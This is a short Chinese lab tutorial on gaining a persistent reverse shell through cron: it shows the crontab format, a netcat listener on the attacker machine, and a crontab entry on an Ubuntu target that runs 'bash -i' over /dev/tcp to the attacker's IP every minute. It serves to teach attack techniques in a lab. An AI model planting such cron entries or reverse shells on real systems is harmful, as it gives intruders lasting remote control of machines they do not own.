目录
1、crontab命令格式
[root@localhost ~]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
2、反弹shell
kali为攻击机,ubuntu为靶机
kali监听端口
nc -lvnp 9999
ubuntu写入计划任务
写入计划任务有多种方式,可以用echo命令将任务写进crontab文件中,也可以通过crontab -e命令打开计划任务编辑。
注:ubuntu和centos的计划任务的文件路径不一样
centos计划任务目录:/var/spool/cron/
ubuntu计划任务目录:/var/spool/cron/crontabs/
crontab -e //打开计划任务编辑器,用2号编辑器
*/1 * * * * bash -i >& dev/tcp/192.168.168.128/9999 0>&1 表示在一分钟内执行后面的命令。
写入后,可以查看写入的计划任务
crontab -l
成功反弹shell
3、总结
在实现的过程中,发现ubuntu靶机没有nc,无法用nc命令执行反弹的命令,而且执行计划任务的用户是什么,反弹过去的用户是一样的